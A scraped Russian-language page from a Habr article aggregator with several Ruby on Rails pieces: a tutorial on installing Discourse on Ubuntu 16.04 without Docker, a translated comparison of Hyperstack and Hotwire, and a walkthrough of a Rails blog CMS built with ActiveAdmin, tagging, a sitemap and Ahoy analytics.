Была мысль выложить на гитхабе (ну, уж коль скоро NDA "не дороже бумаги") rails-app, о котором речь, дабы рубисты-рельсовики на досуге глянули, чем так приглянулся одесситам pundit в контексте данного проекта; на мой субъективный взгляд, здесь он, хотя и безусловно возможен, но был бы все равно что интернет-мем Black Lives Matter во времена войны за независимость Североамериканских штатов, в бытность которой Джон Пол Джонс получил известность как капитан шлюпа Providence... хм, тоже ведь своего рода Team Leader, не правда ли. Но, пожалуй, это частность, малоинтересная крайне широкой сегодня аудитории российских любителей поэзии и прозы Редьярда Киплинга.


Эпилог и послесловие короткой строкой. Учитывая международную аудиторию Хабра, автору очень не хотелось бы, чтобы у читателей создалось впечатление бьющего аж через край патриотизма русскоязычного автора, во всю мочь разглагольствующего о черноморских баталиях эпохи русско-турецкой войны применительно к постсоветским невеселым реалиям. :) Нет, причиной здесь скорее ностальгия по горячо любимым им, несмотря ни на что, Севастополю и Херсонесу, где он не был... уже около семи лет.

Подробнее..

Установка discourse в Ubuntu 16.04

19.01.2021 22:21:19 | Автор: admin
В статье рассматриваются установка discourse в среде разработки, затем в среде эксплуатации, запуск sidekiq и начальная настройка (кроме настройки электронной почты, необходимой для активации аккаутнов по е-мэйл и рассылки уведомлений, а также https).

Установка в среде разработки



1. Подключаемся к СУБД PostgreSQL с помощью psql -U postgres и создаем базу данных discourse_development и пользователя discourse_user, которому даем права доступа к этой базе данных.

create database discourse_development;create user discourse_user;alter user discourse_user with encrypted password 'your_preferred_password';alter database discourse_development owner to discourse_user;


Далее также в консоли psql подключаемся к созданной базе данных, выполняем пару команд и выходим.

\c discourse_development;create extension hstore;create extension pg_trgm;\q


2. Клонируем файлы discourse. Если у Вас версия PostgreSQL ниже 12 (psql --version), откатываем их к версии 2.4.0.beta11, которая вышла 13 февраля 2020 года (если я правильно прочитал git log).

Для этого. во-первых, есть команда

git clone https://github.com/discourse/discourse.git


Для отката к февральской версии вводим

git checkout 2136d4b5d535ca1fb83bd015502741d53301a61f


3. Устанавливаем гемы командой bundle install, предварительно удалив/переименовав Gemfile.lock

4. В config/database.yml добавляем значения username и password, а также строки encoding: utf8 и template: template0 и запускаем bundle exec rake db:migrate.

5. Запускаем веб-сервер для Rails командой

UNICORN_PORT=3002 bundle exec unicorn -c config/unicorn.conf.rb


6. Настраиваем обратный прокси-сервер nginx, добавляем в config/environments/development.rb строку config.hosts << "discourse.domain.name"


Скриншот 1. Содержимое файла /etc/nginx/sites-enabled/discourse.conf

Прим.1 Строки location /assets/ { и location /images/ { ... нужны для запуска в среде эксплуатации, для запуска в среде разработки их добавлять вообще-то еще рано.

Перезапускаем nginx командой /etc/init.d/nginx restart

7. Перезапускаем unicorn: для остановки вводим kill -QUIT `cat tmp/pids/unicorn.pid`, для повторного запуска вводим команду из п.5. Готово.

Установка в среде разработки



1. Создаем базу данных аналогичным образом, только имя базы данных указываем не discourse_development, а discourse.

2. Создаем файл config/discourse.conf командой

cp config/discourse_defaults.conf config/discourse.conf


Затем указываем в нем значения db_name, db_username, db_password, а также hostname (discourse, discourse_user, your_preferred_password, discourse.domain.name соответственно).

3. Устанавливаем необходимые пакеты командой

sudo apt install optipng pngquant jhead jpegoptim gifsicle 


и выполняем команду, для выполнения которой без ошибок мы их установили:

RAILS_ENV=production bundle exec rake db:migrate 


4. Устанавливаем еще один необходимый для следующей команды пакет с помощью

sudo apt install brotli


и вводим команду, для выполнения которой без ошибок мы его установили

RAILS_ENV=production bundle exec rake assets:precompile


5. Добавляем строки location /assets/ { ... и location /images/ { ... (см. скриншот 1) в конфигурационный файл nginx, если их там еще нет и перезапускаем nginx.

6. Остановка unicorn (см. команду выше) и запуск его в среде эксплуатации командой

RAILS_ENV=production UNICORN_PORT=3002 bundle exec unicorn -c config/unicorn.conf.rb


Запуск sidekiq



1. Создаем учетную запись администратора командой

RAILS_ENV=production bundle exec rake admin:create


и перезапускаем unicorn.

2. Для запуска sidekiq в файле config/sidekiq.yml копируем строки конфигурации для среды разработки для среды эксплуатации (см. скриншот 2) и добавляем в config/environments/production.rb строку (в случае когда в ОС установлена Redis 3.0.6)

Redis.exists_returns_integer = false


Скриншот 2.

После этого запускаем sidekiq командой

bundle exec sidekiq -C config/sidekiq.yml


3. Проверяем существование запущенного процесса sidekiq командой

ps aux | grep sidekiq


Начальная настройка



Открыв в браузере адрес Вашего форума и авторизовавшись на нем с учетными данными из п.1 части Запуск sidekiq, Вы можете увидеть темы, посвященные начальной настройке, и прочитать их.


Скриншот 3. После авторизации в discourse

Используемая при написании статьи инструкция:

Install Discourse Forum Software on Ubuntu 18.04 Without Docker
Подробнее..

Hyperstack vs Hotwire (перевод)

01.04.2021 12:23:08 | Автор: admin

Попробую приноровиться к хабру и залью сюда перевод статьи с другого своего ресурса.


Это весьма самоуверенное, но, надеюсь, честное и точное сравнение Hyperstack и Hotwire.

Прежде всего, что это за вещи?

Оба решения помогают затащить современный UI в Rails.

Оба завязаны на Websockets для получения уведомлений об изменении состояния.

Hyperstack

  • Всё написано на Ruby (включая клиентский код)

  • Под капотом используется React для построения UI с возможностью доступа к библиотекам React

  • Легко поддерживает синхронизацию моделей Rails между UI и сервером. Зачастую без дополнительного кода

  • Убирает необходимость написания контроллеров (но при желании можно продолжать их использовать)

  • Отдает максимально возможное количество работы на сторону клиента

  • Предоставляет мощный механизм контроля доступа к данным, построенный на политиках Pundit"

  • Может использоваться в существующих Rails-приложениях

Hotwire

  • Это следующий виток эволюции Rails Turbolinks

  • Расширяет стандартную MVC систему Rails за счет передачи инкрементальных обновлений на уровень представления

  • Использует традиционные Rails подходы

  • Оставляет бльшую часть работы на стороне сервера, делая клиентскую часть очень лёгкой

  • Устраняет большую часть JS-кода (но не весь), которую вам может потребоваться писать

  • Поддерживается DHH и, предположительно, сообществом Rails

Чтобы бегло сравнить данные технологии, я обратился к простому приложению Tweet (https://gorails.com/episodes/hotwire-rails) и создал такое же на Hyperstack. На заметку: данный дизайн UI компонентов не моя идея, я позаимствовал код с минимально возможными изменениями.

Поскольку одна из основных целей Hyperstack состоит в уменьшении общего объема кода, начнём рассмотрение с числа строк. Сгененированные файлы и шаблоны, такие как layout и стили включать не будем, поскольку они совпадают.

Hyperstack - 78 lines vs Hotwire 156

Но строки - это еще не всё, какой инструмент будет легче в понимании и поддержке?

Рассмотрим, как каждый фреймворк реализует Tweet Card, отображающий твит и позволяет обновлять счетчики "лайков" и "ретвитов".

Hyperstack:

Hotwire:

Пока что оба приведенных участка кода очень похожи.

Hyperstack определяет React-компонент, берущий твит в качестве параметра, и формирует код на основании DSL. Этот DSL отражает нижележащую HTML-разметку с дополнительными компонентами в вашем приложении. Например EditTweet компонент, подключаемый в 11 строке.

Hotwire использует ERB для генерации HTML, используя ряд вспомогательных функций, таких как turbo_frame_tag и т. д.

Как и React, Hyperstack является декларативным и state-driven инструментом. Когда пользователь нажимает на кнопку изменить, устанавливается состояние editing, что в свою очередь заставляет компонент перерисовать и подключить EditTweet компонент (строка 14). EditTweet в свою очередь эмитит события save или cancel, оба из которых возвращают editing state в состояние false. Всё это определяется и исполняется на стороне клиента.

Цель же Hotwire заключается в реализации логики на сервере таким образом, что нажатие на Edit просто отправляет запрос на сервер, который выполняет обновление компонента.

Когда пользователь нажимает Like или Retweet, Hyperstack обрабатывает событие с помощью .on(:click), и просто зовет ActiveRecord increment! и обновляет счетчик твита. Под капотом Hyperstack занимается поддержанием локальной копии твита в синхронизированном с сервером состоянии и пересылает все изменения всем участвующим клиентам (браузерам)

Hotwire тем временем выполняет обновления счётчиков так же, как и edit функция: передаёт работу серверу и требует наличия когда, обрабатывающего это. И действительно, тут есть три контроллера, которые выполняют работу по обработке изменений твита:

Таким образом, не смотря на то, что код Hyperstack изначально был немного длиннее, пользовательский интерфейс это еще не вся история. И чтобы html.erb действительно заработал, необходимо ещё 70+ строк и что ещё хуже UI-логика оказывается размазана по четырём файлам.

Но мы ещё не закончили. В добавок к .erb файлу и контроллерам нам также необходимjson файл, который выполняет функции связующего API. К счастью, Hotwire поставляется с jbuilder, так что это всего лишь 2 строки когда, но его надо написать и поддерживать.

Погодите, мы ещё не закончили. Чтобы Hotwire знал, что ему необходимо разослать изменения клиентам, вам надо добавить три дополнительных колбэка (after_...) в twitter.rb

Мы закончили? Почти. Остался ещё один файл. Помните про контроллеры? Теперь к ним надо добавить роуты, а это еще 3 строки в другом файле. Честно говоря, Hyperstack тоже требует несколько строк (две если быть точным) в routes.rb, но они никогда не будут меняться в течении жизни приложения.

Прежде чем я продолжу, давайте посмотрим с другой стороны. Допустим у вас уже есть рабочее приложение, к которому вы хотите добавить кнопку Like

Что для этого нужно?

Во-первых в обоих фреймворках вам надо добавить атрибут в модель данных, создав и выполнив миграцию. (Рельсы!)

Далее для Hotwire необходимо:

  • добавить ресурс в роуты

  • добавить контроллер (как мы видели это 14 строк)

  • не забыть обновить json, добавив в него новый атрибут

  • и наконец добавить button_to тэг в _tweet.html.erb

Мы затронули четыре файла и добавили 16 строк кода, используя знания о шести подсистемах Rails - action controller, view helpers, jbuilder, active record и router - написали собственный код на Ruby, HTML и ERB.

Как выполняется та же задача на Hyperstack?

Как только закончили с миграциями надо добавить только:

BUTTON { "Likes (#{tweet.likes_count})" }.on(:click) { tweet.increment!(:likes_count) }

Для чего требуется только понимание функции active record increment! и HyperComponent DLS, что напрямую относится к выполняемой работе.

В чем подвох?

Подвоха нет, просто другие цели. Hyperstack строился для максимизации эффективности программиста и для передачи работы с сервера на сторону клиента. Он достигает целей используя один замечательный язык, опираясь на Rails и используя девиз Rails о convention over configuration для устранения ненужных шаблонов.

Заявленная цель Hotwire состоит в том, чтобы сохранить контроль за приложением на сервере и он достигает её ценой ценой усложнения поддержки и понимаемости приложения. Он также использует более консервативный подход в архитектуре приложения, вместо того, чтобы отказываться от контроллеров и заменять ERB файлы на собственный DSL. Он основан на проверенных и надёжных техниках Rails, который привычны многим разработчикам.

Некоторые другие соображения

Это маленькое упражнение, но оно позволяет увидеть как две разные системы выполняют свои задачи. Я считаю, что с Hotwire становится сложнее, с Hyperstack проще. Я не могу этого доказать, но как я уже сказал это самоуверенная статья.

Ещё одно соображение касательно ценности участия в экосистеме React. Фундаментальная архитектура React, как декларативной и "state-driven" системы, делает результирующий код невероятно простым для написания и понимания. Я считаю, что гораздо проще (разумеется, после того, как преодолел порог вхождения) создавать высокофункциональный и поддерживаемый код в декларативном стиле. Более того, существует множество готовых компонентов React для решения самых разнообразных задач, что ещё больше сокращает объём кода, который необходимо писать и поддерживать.

И последнее: о ценности разработки на одном языке. Многие не считают это существенным, а работу программиста с несколькими языками и системами - само собой разумеющимся. Но это не так. Постоянное переключение контекста заставляет программиста растрачивать ценную энергию и думать о деталях реализации, вместо того, чтобы думать о системе в целом. Нет ничего, что могло бы сделать один язык лучше для разработки пользовательского интерфейса, а другой - для серверной части. Есть инструменты для компиляции практически любого языка на любую платформу, так почему бы не выбрать один язык, который можно использовать в масштабах всей системы? И если вы собираетесь выбрать язык, то Ruby трудно превзойти.

Оригинал: Hyperstack vs Hotwire от 26 февраля 2021 года. Автор: @catprint aka Mitch VanDuyn

От переводчика

Мы решили выбрать эту статью для того, чтобы осветить различные современные течения во фронтендной части Rails. Мы не определились до конца с подобными инструментами, однако на нескольких проектах начали использовать Stimulus и двигаемся в сторону Hotwire.

Подробнее..
Категории: Ruby on rails , Turbolinks

Joomla on Rails, или особенности национального веб-программирования

21.06.2021 00:15:47 | Автор: admin

Рунет производит на меня (и не только в контексте веб-программирования) крайне противоречивое впечатление. Возможно, так и должно быть, типа "Нью-Йорк - город контрастов"? - по крайней мере, та полупрофессиональная и пестрая интернет-тусовка, к которой обычно приходят новички, мечтающие выучиться на веб-программиста. Говоря словами героя пьесы Евгения Шварца - "очень трудно будет все это распутать, разобрать и привести в порядок так, чтобы не повредить ничему живому"... да, но пытаться-то ведь все равно надо. "На этом стоит мир", говоря словами все того же персонажа (Ученый из "Тени").

Параноидальные ощущения настигли, когда я впервые прочел расхожую фразу о том, что "на джумле сайты делает только полный лошара"; они несколько усугубились, когда админы программистских форумов с покровительственной и мудрой улыбкой-смайликом все повидавших гуру начали уверять меня в том, что блог на Ruby in Rails они-де никому делать не посоветуют, "не надо"... ну, а дальше пошло-поехало. У вордпресса, как выяснилось, "даже приличного API нет, так уж исторически сложилось", да и вообще, "на CMS что-либо делать бессмысленно, грузят систему", и на любых "хреньворках" так же. Ruby, дескать, давно и прочно dead, а вот "создадим вам мега-портал на ультрасовременной платформе Битрикс" - это в тренде, это завсегда пожалуйста. "В команду профессиональных программистов, пишущих уникальный Artificial Intelligence на базе Neural Network срочно требуются middle- и senior- PHP-программисты" также надолго отложилось в памяти.

Интересно, насколько отчетливо программисты Google представляют себе существование в живой природе такого языка программирования, PHP?

Своеобразным итогом моего импровизированного исследования стало интернет-знакомство с гениальным программистом, пишущим "в облаке Google" удивительную нейронную сеть, предназначенную для медицинских исследований будущего... при попытке обнаружить в гитхабе новоявленного инженера ГаГарина хоть какие-то наброски нетленного творения - автор сего спича сумел найти там лишь парочку электронных книг по программированию для начинающих, плюс безграмотный скрипт, написанный рукой школьника, и на этом пришлось закончить. Впрочем, картинка к тому времени уже почти сложилась...

В качестве резюме не самых веселых размышлений стало написание на основе фреймворка Ruby on Rails некоего скрипта, вполне подходящего под определение CMS, кодом которого и хочу сегодня поделиться на страницах Хабра с вами. Шуточный заголовок "Joomla on Rails" призван передать горячее желание автора написать что-то вполне удобное, удобоваримое и функциональное, в пику расхожему слогану "не делайте блогов на рельсах"; также в очередной раз порекламировать отличный конструктор для профессиональных веб-программистов, коим по праву можно назвать фреймворк Ruby on Rails.

Примеры такого рода статей / туториалов имеют место быть в Сети, разумеется, но у этого материала будет с ними критичное отличие. Заключающееся в том, что уровень сложности и, соответственно, реализованный функционал окажется значительно выше, чем во многих известных и популярных примерах... нет, ну а зачем повторять то, что уже было. Перечень свойств блога в общих чертах (на данный момент) я бы описал вот так:


  • Удобная панель администрирования сайта

  • Баннерная реклама с геотаргетингом

  • Текстовый редактор

  • Встроенная аналитика посещений

  • Категории

  • Статьи

  • Настраиваемая пагинация списка статей и тегов

  • Контактная форма AJAX

  • Комментарии AJAX

  • Премодерация комментариев по-умолчанию

  • Уведомления о новых комментариях по электронной почте

  • Возможность хранить изображения в base64, также с использованием Active Storage (локальное хранилище либо AWS S3)

  • Предварительный просмотр изображения (various preview options can be passed to the Active Storage variant method)

  • Теги

  • Мета-теги

  • Погода по IP на карте Google

  • RSS

  • User-Friendly URLs

  • Sitemap

  • SlideShow

  • Lightbox

  • JavaScript Time Greeting


К сожалению, нет возможности в рамках одной статьи описать step-by-step процесс кодинга, получилось бы неоправданно много текста. Ограничусь тем, что кратко расскажу о нескольких основных моментах и опубликую ссылки на гитхаб и полнофункциональную демку... буде дополнительно возникнут вопросы - разумеется, по мере сил отвечу. Поехали.

Итак. В качестве дизайна использован бесплатный шаблон на основе Bootstrap 4, иконки FontAwesome5, вездесущий jQuery и новый (по-дефолту в Ruby on Rails 6) стандарт сборки фронтенда Webpacker:

# package.json{  "name": "blog",  "private": true,  "dependencies": {    "@rails/actioncable": "^6.1.3-1",    "@rails/activestorage": "^6.1.3-1",    "@rails/ujs": "^6.1.3-1",    "@rails/webpacker": "5.4.0",    "bootstrap": "^4.6.0",    "jquery": "^3.6.0",    "popper.js": "^1.16.1",    "turbolinks": "^5.2.0"  },  "version": "0.1.0",  "devDependencies": {    "webpack-dev-server": "^3.11.2"  }}

В основу формы публикации материалов положен следующий принцип: первые 5 из них отображаются в топ-меню, линки к остальным (и к первым пяти тоже) доступны на главной странице, включена пагинация. Опции которой всегда доступны для редактирования в конфиге kaminari:

# config/initializers/kaminari_config.rbKaminari.configure do |config|  config.default_per_page = 5  # config.max_per_page = nil  # config.window = 4  # config.outer_window = 0  # config.left = 0  # config.right = 0  # config.page_method_name = :page  # config.param_name = :page  # config.max_pages = nil  # config.params_on_first_page = falseend

Чуть забегая вперед, добавлю, что пагинация включена также для перечня материалов категории и тегов. И - сразу переходим к горячо любимому всеми социальными группами интернета SEO:


Метатеги. При написании очередного материала вы имеете возможность, см. скриншот выше, создать description и keywords метатеги, и метатег description при создании категории. Разумеется, все это может быть в любой момент отредактировано либо сделано позже; к слову, любую статью блога необходимо привязать к той или иной категории, но вот публиковать ли категорию или нет - дело сугубо ваше, материал будет доступен для чтения в любом случае. Что касается метатега title, он будет сформирован автоматически, по принципу <Имя блога> | <Название статьи>, причем имя блога единожды определено в application.html.erb:

# app/views/layouts/application.html.erb<head>  <%= display_meta_tags site: 'My Blog on Rails' %></head>

Так происходит для всех страниц статей и страниц категорий, на других динамически формируемых страницах (странички тегов, например) title и description (keywords в данном случае без надобности, но, при желании, возможно включить и его) окажутся сформированы исходя из метода, доступного для редактирования в контроллере:

# app/controllers/application_controller.rbdef metatags  set_meta_tags title: 'Building a Blog with Ruby on Rails',  description: 'Your Guide To Content Management System For Ruby on Rails'end

Собственно говоря, достаточно определить в том или ином контроллере @page_title и @page_description (например), чтобы тут же получить эти метатеги на страничке, при этом вносить изменения в HTML не потребуется... это и есть, так сказать, магия Ruby on Rails.

Доступны для использования следующие методы:

<% title 'Member Login' %><% description 'Member login page.' %><% keywords 'Site, Login, Members' %><% nofollow %><% noindex %><% refresh 3 %>

, но не только; вы можете использовать :canonical, :og (Open Graph), :twitter и другие. Подробнее на страничке kpumuk/meta-tags.

Sitemap, карта сайта. Чтобы сформировать в директории public архив sitemap.xml.gz (или обновить, ввиду публикации нового контента), достаточно запустить в консоли эту команду:

rails sitemap:refresh

При этом Google и Bing будут уведомлены о доступности новой карты сайта. Возможно и добавление в ping иных поисковых систем, подробнее см. описание gem 'sitemap_generator', использованного для реализации sitemap блога. Возможен, разумеется, и автоматический, из крона запуск по расписанию обновления карты сайта; при использовании Whenever синтаксис способен выглядеть совсем несложно:

# config/schedule.rbevery 1.day, :at => '5:00 am' do  rake "-s sitemap:refresh"end

Помимо динамически созданных страниц, включаем в карту сайта и парочку статических (на демке это Analytics и Contacts):

# config/sitemap.rbSitemapGenerator::Sitemap.default_host = ENV['DOMAIN_NAME']SitemapGenerator::Sitemap.create do  Post.find_each do |content|    add post_path(content), :lastmod => content.updated_at  end  add analytics_path, :priority => 0.5, :changefreq => 'weekly'  add contacts_path, :priority => 0.5, :changefreq => 'weekly'end

Путь к карте сайта прописан в robots.txt. Те, кто решит потестировать этот блог на рельсах - не забудьте изменить название домена:

# public/robots.txtUser-agent: *Disallow:Sitemap: http://mstp.herokuapp.com/sitemap.xml.gz

Все превью изображений постов и категорий кликабельны, по клику открываются в лайтбоксе. Кроме того, Active Storage variants позволяет указать фильтры, чем мы и воспользуемся, определив kuwahara для статей и/или monochrome для категорий:

  def preview_post(i)    if i.images.attached? && !current_page?(root_path)      tag.div class: 'preview' do        link_to i.images.first, 'data-lightbox' => 'preview' do          image_tag i.images.first.variant(            resize_to_fill: [400, 300], kuwahara: '3%'          )        end      end    end  end

Тегирование. При формировании или редактировании материала вы имеете возможность указать (снова см. скриншот выше) теги, через запятую.

Сразу подчеркну, в данном случае использование acts-as-taggable-on далеко не исчерпывает весь заложенный автором джема функционал. Нет, относительно тегирования задачи у меня были самые скромные: теги создаются в Active Admin при создании статьи либо на вкладке Tags (там же могут быть и удалены/отредактированы в дальнейшем), и отображаются на фронте блога, на страничке материала в нижней его части вкупе с цифрой, характеризующей количество статей, отмеченных данным тегом. Каждый тег кликабелен, по клику отображается динамически формируемая страничка тега с также кликабельным перечнем заголовков статей.

Показываем теги в статьях:

# posts_controller  def show    @post = Post.find(params[:id])  end# app/views/posts/show.html.erb<% @post.tag_list.each do |tag| %><%= tags(tag) %><% end %># helper  def tags(tag)    link_to (tag.to_s +      ' (' +      Post.tagged_with(tag).count.to_s +      ')'),            tag_url(tag),            class: 'badge badge-secondary'  end

Формируем страничку тега с перечнем статей:

# tags_controller.rb  def show    @posts = Post.tagged_with(params[:id])  end# app/views/tags/show.html.erb<% @posts.each do |i| %>    <%= link_to i.title, {controller: "posts", action: "show", id: i.id} %><% end %>

Не забываем про маршруты. Например, как-то так:

# routes.rbresources :posts do resources :commentsendresources :tags, only: [:show]

Пожалуй, уже многовато кода, да? ОК, далее постараюсь, насколько смогу, урезаться... программисты и без того разберутся, для остальных же и так и эдак не имеет смысла, вы правы.

SEO-Friendly URLs, дружелюбные / человекопонятные адреса ЧПУ страниц. Url страницы формируется исходя из заголовка, кириллица при этом автоматически транслитерируется в латиницу. Это касается статей и категорий:

# Gemfilegem 'friendly_id', '~> 5.4.0'gem 'babosa'

RSS. Этот Blog on Rails автоматически формирует валидную RSS-ленту, доступную (иконка bootstrap 4) на всех страницах сайта. Несколько портят впечатление длинные коды изображений, сохраненных в base64. Дело в том, что данная CMS изначально ориентирована на хостинг (облачная PaaS-платформа) Heroku, с его хитроумной виртуальной файловой системой, отсюда и base64. Не представляет большой сложности, к слову, при работе в используемом редакторе - Quill Editor - сохранение изображений классическим способом, кому оно надо - велкам на страничку джема за инструкциями по установке ImageUploader plugin. Но, возможно, вы удовлетворитесь уже реализованной возможностью альтернативной загрузки изображений на сервера Amazon S3? Подробнее о процедуре подобной реализации в этом материале.


Остановлюсь на слайдере, который может быть включен на главной (и не только) странице. Регистрируем слайдер в ActiveAdmin, на основе которого построена административная панель блога:

ActiveAdmin.register Slider do  permit_params :published_at, :name, images: []  scope :all  scope :published  scope :unpublished  action_item :publish, only: :show do    link_to 'Publish', publish_admin_slider_path(slider), method: :put unless slider.published_at?  end  action_item :unpublish, only: :show do    link_to 'Unpublish', unpublish_admin_slider_path(slider), method: :put if slider.published_at?  end  action_item :delete_images, only: :show do    link_to 'Delete Images', delete_images_admin_slider_path(slider), method: :delete if slider.images.attached?  end  member_action :publish, method: :put do    slider = Slider.find(params[:id])    slider.update(published_at: Time.zone.now)    redirect_to admin_slider_path(slider)  end  member_action :unpublish, method: :put do    slider = Slider.find(params[:id])    slider.update(published_at: nil)    redirect_to admin_slider_path(slider)  end  member_action :delete_images, method: :delete do    slider = Slider.find(params[:id])    slider.images.purge_later    redirect_to admin_slider_path(slider)  end  form do |f|    f.inputs 'Slider' do      f.input :name      f.input :images, as: :file, input_html: { multiple: true }    end    f.actions  end  show do |t|    attributes_table do      if t.images.attached?          t.images.each do |img|            span do              image_tag img.variant(resize_to_limit: [100, 100])            end          end      end      row :name      row :created_at      row :updated_at      row :published_at    end  endend

Хм, а если необходимо удалить не все приаттаченные изображения разом, а только одно из них; либо же два - три? - чаще всего так ведь и бывает, ряд изображений меняем на новые, что-то оставляем на месте.

Ну вот как-то так, например. Вполне рабочий вариант, хотя и незамысловатый. Удаление одной иллюстрации по клику на пиктограмме, что и требовалось:

  member_action :delete_image, method: :delete do    slider = Slider.find_by(params[:name])    slider.images[params[:id].to_i].purge_later    redirect_to admin_slider_path(slider)  end  if t.images.attached?     t.images.each_with_index do |img, index|        span do          link_to delete_image_admin_slider_path(index), method: :delete do              image_tag img.variant(resize_to_limit: [100, 100])           end         end      end   end

В качестве редактора текста попробуем использовать Quill Rich Text Editor (gem 'activeadmin_quill_editor'), инициализировав следующим образом (покажу всю вкладку ввода материала):

  form do |f|    f.inputs 'Article' do      f.input :category      f.input :tag_list, input_html: { value: f.object.tag_list.join(', ') }, label: 'Tags (separated by commas)'      f.input :title, label: 'Title (70 characters maximum)'      f.input :description, label: 'Description (160 characters maximum)'      f.input :keywords, label: 'Keywords (5 - 10 words)'      f.input :text, as: :quill_editor, input_html: { data:        { options:          { modules:            { toolbar:              [%w[bold italic underline strike],               %w[blockquote code-block],               [{ 'list': 'ordered' }, { 'list': 'bullet' }],               [{ 'align': [] }],               ['link'],               [{ 'size': ['small', false, 'large', 'huge'] }],               [{ 'header': [1, 2, 3, 4, 5, 6, false] }],               [{ 'indent': '-1' }, { 'indent': '+1' }],               [{ 'direction': 'rtl' }],               [{ 'color': [] }, { 'background': [] }],               [{ 'font': [] }],               ['clean'],               ['image'],               ['video']] },            theme: 'snow' } } }, label: 'The content of the article'      f.input :images, as: :file, input_html: { multiple: true }, label: 'Add illustrations to the article'    end    f.actions  end

Результат таков, как на скриншоте в начале статьи.

Напоследок упомяну, что в качестве статистики визитов сделана попытка отказаться от Google Analytics и Яндекс Метрика, и использовать Ahoy - Simple, powerful, first-party analytics for Rails. Не бог весть что, конечно, но для многих сайтовладельцев подобного решения более чем достаточно (сеошники, погодите скрипеть зубами). В качестве примера - страничка аналитики, куда в целях демонстрации выведено четыре чарта, отображающих данные посещений последней недели из базы данных.

Формируем статистику по странам:

@locations = Ahoy::Visit.all.group(:country).count

, заменяя, при необходимости, nil на строку:

@locations = Ahoy::Visit.all.group(:country).count.map { |k, v| [k ||= 'undefined', v] }

Все то же самое относительно группировки по городам:

Ahoy::Visit.all.group(:city).count

, ну, или как посчитаете нужным; следующие фрагменты кода прояснят ситуацию:

@visits = Ahoy::Visit.all@events = Ahoy::Event.all<% @visits.each do |visit| %>  Visit Number: <%= visit.id %><br>  Visit Token: <%= visit.visit_token %><br>  Visitor Token: <%= visit.visitor_token %><br>  IP: <%= visit.ip %><br>  User Agent: <%= visit.user_agent %><br>  Referrer: <%= visit.referrer %><br>  Referring domain: <%= visit.referring_domain %><br>  Device Type: <%= visit.device_type %><br>  Country: <%= visit.country %><br>  Region: <%= visit.region %><br>  City: <%= visit.city %><br>  Latitude: <%= visit.latitude %><br>  Longitude: <%= visit.longitude %><br>  User ID: <%= visit.user_id %><br><% end %>

Учтите, веб-аналитика Ahoy способна учитывать довольно многое, вплоть до кликов и переходов по ссылкам. Рекомендую.

Ну и, разумеется, в свой блог на рельсах вы сможете добавлять любые фичи, которые посчитаете нужным. Я, например, добавил отображение картинок в верхней части сайта в зависимости от геотергетинга посетителя блога, использовав механизм определения местоположения по IP все того же Ahoy. Вот как-то так:

class GetImages  def self.get_random_banner(country)    x = get_country(country)    File.join('/images', x, Dir.children(File.join(Rails.root, 'public', 'images', x)).sample)  end  def self.get_country(country)    if dir_names.include? country      country    else      'other'    end  end  def self.dir_names    target_folder_path = File.join(Rails.root, 'public', 'images')    Dir.children(target_folder_path)  endend

...впрочем, всегда возможны варианты. Enjoy! :)

P.S. Установка и использование этого блога не требуют ни знания Ruby / Rails / PostgreSQL, ни вообще умения с ними обращаться, ни даже их наличия на вашем ПК. Вам понадобятся всего только установленный git, ну и еще бесплатный аккаунт на Heroku, + зарегистрировать акк на AWS (будет работать бесплатно, или почти бесплатно, в течение года). Просто следуйте инструкциям ReadMe гитхаба, ссылка в начале статьи.

Буду рад, если отпишитесь о впечатлениях.

Подробнее..
Категории: Ruby on rails , Blogs. блоги

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru